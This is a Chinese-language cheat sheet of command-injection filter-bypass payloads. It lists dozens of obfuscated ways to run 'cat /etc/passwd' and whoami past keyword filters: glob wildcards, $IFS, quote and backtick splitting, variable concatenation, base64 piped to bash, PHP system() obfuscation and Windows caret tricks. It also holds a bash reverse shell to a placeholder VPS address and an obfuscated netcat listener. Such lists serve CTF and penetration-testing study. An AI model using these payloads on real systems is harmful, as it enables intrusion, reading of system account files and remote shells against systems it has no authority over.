命令执行绕过

>touch* 1.txt

>bash*  -i >& /dev/tcp/VPSIP/1234 0>&1

cat /et?/p?*sswd

cat /e?c/p?*wd

cat /e*/p*d

/???/[n]?[t]??[t] -lvp 4444

ls & cat /etc/passwd

cat /etc/passwd #anything

cat%20%2Fetc%2Fpasswd

cat$IFS/etc/passwdcat$IFS$1/etc/passwdcat${IFS}/etc/passwdcat$IFS$9/etc/passwd

cat /"e"tc/'p'a's'swd

cat /'e't'c'/p'as'swd

cat /et''c/pass``wd

cat /etc/passwd

a=ca;b=t;$a$b /etc/passwd

a=c;b=a;c=t;$a$b$c /etc/passwd

a=cat;$a /etc/passwd

cat /etc/passwd xxx

666`whoami`666666`whoami`666

w`f1hgb`ho`f1hgb`am`f1hgb`i                    //反引号的作用是把括起来的字符当做命令执行w`f1hgb`ho`f1hgb`am`f1hgb`i          //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行wh$(f1hgb)oa$(f1hgb)mi                              //和上面的差不多,都说执行和拼接

cmd1;cmd2

cmd1 | cmd2

cmd1 && cmd2

cmd1 || cmd2

echo "result : `whoami`"echo "result : $(whoami)"

cat<>1.txtcat<1.txt

cat%091.txt

echo "cHdk" | base64 -d | bash

c""at 1.tx''t

cat 1.txt

c$1a$1t 1.t$1$1x$1tc$@a$@t 1.t$@x$@tc$*a$*t 1.t$*x$*t

echo -n "cat " > r;echo -n "/etc" >> r;echo "/passwd" >> r;cat r | bash

cat 1.txt

{cat,/etc/passwd}

COMMAND=$'x20-al';ls$COMMAND

COMMAND=$'x20';ifconfig$COMMANDCOMMAND=$'x20';whoami$COMMANDCOMMAND=$'x20';id$COMMANDCOMMAND=$'x20';pwd$COMMAND

echo ${PATH}echo ${PATH:5:1}echo ${PATH:2:1}${PATH:5:1}${PATH:2:1}

cat fl[abc]g.txt                                                                                     //匹配[abc]中的任何一个cat f[a-z]ag.txt                                                                                     //匹配a-z范围的任何字符cat fla*                                                                                                         //用*匹配任意a=f;b=l;c=ag;d=.txt;cat $a$b$c$d 表示cat flag.txt                    //内联执行

cat /???/??????cat /???/pass*cat /etc$u/passwd

system("cat /etc/passwd")<=>"x73x79x73x74x65x6d"("cat /etc/passwd");<=>(sy.(st).em)("cat /etc/passwd");<=>还可以用注释方法绕过"system/*fthgb666*/("cat /etc/passwd);"<=>"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"<=>"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

type.flag.txttype,flag.txt

whoamiwho^am^iwho""ami"i"who""""ami

set a=whoset b=ami%a%%b%        //正常执行whoamicall %a%%b%   //正常执行whoami

set a=whoami%a:~0% //取出所有字符,所以正常执行命令%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行%a:~0,5% //切割后是whoam,不是系统命令,不能执行

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"